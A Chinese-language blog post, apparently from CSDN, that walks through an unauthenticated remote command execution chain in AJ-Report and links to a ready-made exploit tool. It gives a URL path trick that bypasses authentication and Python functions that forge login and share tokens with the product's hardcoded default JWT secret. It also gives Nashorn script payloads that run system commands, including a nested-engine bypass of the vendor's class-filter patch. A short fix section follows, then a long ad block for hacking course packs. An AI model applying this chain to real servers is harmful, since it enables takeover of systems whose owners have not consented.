TL;DR
前几天在公众号看到AJ-Report
未授权远程命令执行,这个洞还挺通杀的。今天看了下命令执行似乎已经修复了,但是这里的patch
可以绕过。另外最关键的TokenFilter
中的鉴权绕过漏洞没修,其实鉴权修复了也会有默认key
导致鉴权绕过的问题。文末给出了利用工具,实测好用。
漏洞分析
鉴权绕过
这个系统的接口绝大部分都需要登陆,需要绕一下。
鉴权逻辑在TokenFilter
:
经典通过request.getRequestURI()
拿到uri
,后面如果uri
包含swagger-ui
直接放行。
因为是拿的URI
,没有参数信息所以没法用?swagger-ui
绕。
但可以用;swagger-ui
绕过,因为parsePathParameters:950, CoyoteAdapter (org.apache.catalina.connector)
这里会取分号作为pathParamStart
。
而pathParamEnd
这里会取/
作为结尾。最后截断中间的字符串,也就是说/a;b/c
最终会解析为/a/c
所以用/dataSetParam;swagger-ui/verification
就能请求到后端接口了。
另一处鉴权绕过(默认key)
如果swagger-ui
放行那里被修复了怎么办呢?可以看到后续会校验token
。
校验token
类也是安吉自己写的,给jwt payload
加了四个key-value pairs
。
public String createToken(String username, String uuid, Integer type, String tenantCode) {
String token \= JWT.create().withClaim("username", username).withClaim("uuid", uuid).withClaim("type", type).withClaim("tenant", tenantCode).sign(Algorithm.HMAC256(this.gaeaProperties.getSecurity().getJwtSecret()));
return token;
}
public String getUsername(String token) {
Claim claim \= (Claim)this.getClaim(token).get("username");
return claim \== null ? null : claim.asString();
}
重点来了,通过this.gaeaProperties.getSecurity().getJwtSecret()
拿到密钥。
jwt
密钥在GaeaProperties$Security
类里,而setJwtSecret
方法没有被调用过,因此key
是默认的。
伪造jwt
即可。
def getFakeToken():
payload \= {
"type": 0,
"uuid": "627750b8be86421d94facec7e4dba555",
"tenant": "tenantCode",
"username": "admin"
}
fakeToken \= jwt.encode(payload,'anji\_plus\_gaea\_p@ss1234',algorithm\='HS256')
return fakeToken
通过校验。
光伪造token
还不够。后面还有个登陆缓存验证,缓存逻辑具体可参考/accessUser/login
路由逻辑。token
的时效是1小时,如果远程一小时内没有admin
但是看到这里出现了转机,接下来会校验shareToken
,如果reportCodeList.stream().noneMatch(uri::contains)
,也就是说uri
包含reportCode
的话就返回false
。而shareToken
是从Share-Token
请求头取的。
List<String\> reportCodeList \= JwtUtil.getReportCodeList(shareToken);
if (!uri.endsWith("/reportDashboard/getData") && !uri.endsWith("/reportExcel/preview") && reportCodeList.stream().noneMatch(uri::contains)) {
ResponseBean responseBean \= ResponseBean.builder().code("50014").message("分享链接已过期").build();
response.getWriter().print(JSONObject.toJSONString(responseBean));
return;
}
再看一下shareToken
签名,密钥同样硬编码。
shareToken
通过以下方式伪造:
def getFakeShareToken():
payload \= {
"shareCode": 1,
"reportCode": "/", #通用性
"exp": 4070880000,
"iat": 1715402146,
"sharePassword": 1
}
fakeShareToken \= jwt.encode(payload,JWT\_SECRET,algorithm\='HS256')
return fakeShareToken
伪造完shareToken
就可以访问接口了。
nashorn引擎执行表达式绕过
漏洞在\src\main\java\com\anjiplus\template\gaea\business\modules\datasetparam\controller\DataSetParamController.java
中的/verification
路由,可以看到会调用verification
方法。
跟进verification
方法,该方法调用了engine.eval
而engine
针对CNVD-2024-15077
做了PATCH
看下diff
,加了ClassFilter
,过滤了命令执行的三个类。
不太了解这个防御逻辑是啥,先尝试打断点看看是什么逻辑:
到这里有个classFilter
。调了个寂寞,还是看看怎么ban
掉类的逻辑吧。
先用原版payload
打一下,简单解释下,流传在网上的payload
定义了verification
函数是因为执行完js
后会调用js
中的verification
函数,随后将执行结果返回。verification
函数就是常规的调用java.lang.ProcessBuilder('whoami').start()
执行命令。
function verification(data){var se\= new javax.script.ScriptEngineManager();var r \= new java.lang.ProcessBuilder('whoami').start().getInputStream();result\=new java.io.BufferedReader(new java.io.InputStreamReader(r));ss\='';while((line \= result.readLine()) != null){ss+=line};return ss;}
执行失败,提示找不到这个类。
打异常断点看调用栈:
classNotFound:162, NativeJavaPackage (jdk.nashorn.internal.runtime)
invokeStatic\_L\_V:\-1, 282828951 (java.lang.invoke.LambdaForm$DMH)
reinvoke:\-1, 1395859879 (java.lang.invoke.LambdaForm$BMH)
dontInline:\-1, 1043162593 (java.lang.invoke.LambdaForm$reinvoker)
guard:\-1, 1912131086 (java.lang.invoke.LambdaForm$MH)
linkToCallSite:\-1, 23493645 (java.lang.invoke.LambdaForm$MH)
verification:1, Script$Recompilation$4$27A$\\^eval\\\_ (jdk.nashorn.internal.scripts)
invokeStatic\_L3\_L:\-1, 246550802 (java.lang.invoke.LambdaForm$DMH)
invokeExact\_MT:\-1, 664302677 (java.lang.invoke.LambdaForm$MH)
invoke:639, ScriptFunctionData (jdk.nashorn.internal.runtime)
invoke:494, ScriptFunction (jdk.nashorn.internal.runtime)
apply:393, ScriptRuntime (jdk.nashorn.internal.runtime)
callMember:199, ScriptObjectMirror (jdk.nashorn.api.scripting)
invokeImpl:386, NashornScriptEngine (jdk.nashorn.api.scripting)
invokeFunction:190, NashornScriptEngine (jdk.nashorn.api.scripting)
verification:106, DataSetParamServiceImpl
都是匿名函数,还是看文档吧。
经过一番检索发现此处针对nashorn
的安全过滤是JEP202
:https://openjdk.org/jeps/202。
Provide a Java class\-access filtering interface, ClassFilter, that can be implemented by Java applications that use Nashorn.
提供一个 Java 类访问过滤接口 ,ClassFilter可以由使用 Nashorn 的 Java 应用程序实现。
Nashorn will query a provided instance of the ClassFilter interface before accessing any Java class from a script in order to determine whether the access is allowed. This will occur whether or not a security manager is present.
Nashorn 将在从脚本访问任何 Java 类之前查询提供的接口实例ClassFilter,以确定是否允许访问。无security manager是否存在,都会发生这种情况。
A script should not be able to subvert restrictions by a class filter in any way, not even by using Java's reflection APIs.
脚本不应该能够以任何方式破坏类过滤器的限制,即使使用 Java 的反射 API 也不行。
如果存在类过滤器,即使不存在security manager
,Nashorn
也不让你用反射。如果反射可用那么使用类过滤器就没有意义了,因为可以使用反射来绕过类过滤器。尝试了一下反射确实不行。
不过参考JEP290
大概猜到JEP202
也(只)是会过滤类,而不是把命令执行的类阉割了。
所以直接用套娃的方式绕就行,在里面再new
一个ScriptEngineManager
,然后再eval
就行。
function verification(data){var se\= new javax.script.ScriptEngineManager();var r \= se.getEngineByExtension(\\"js\\").eval(\\"new java.lang.ProcessBuilder('whoami').start().getInputStream();\\");result\=new java.io.BufferedReader(new java.io.InputStreamReader(r));ss\='';while((line \= result.readLine()) != null){ss+=line};return ss;}
执行命令:
别的路由
其实/dataSet/testTransform
路由也会调用到engine.eval
,但是没有回显。有兴趣的师傅可以看一下,这个接口的逻辑是执行完表达式发起一个http
请求,返回的是http
的response
。
修复
主要问题在鉴权而不是 engine.eval
, 应该使用 reqeust.getServletPath()
获取 URI
,或者干脆把 swagger-ui
放行逻辑那里删掉。
其次需要修改jwt
默认密钥。
利用工具
https://github.com/yuebusao/AJ-REPORT-EXPLOIT
黑客/网络安全学习包
资料目录
-
成长路线图&学习规划
-
配套视频教程
-
SRC&黑客文籍
-
护网行动资料
-
黑客必读书单
-
面试题合集
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
1.成长路线图&学习规划
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
2.视频教程
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
3.SRC&黑客文籍
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦!
4.护网行动资料
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
5.黑客必读书单
**
**
6.面试题合集
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
更多内容为防止和谐,可以扫描获取~
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取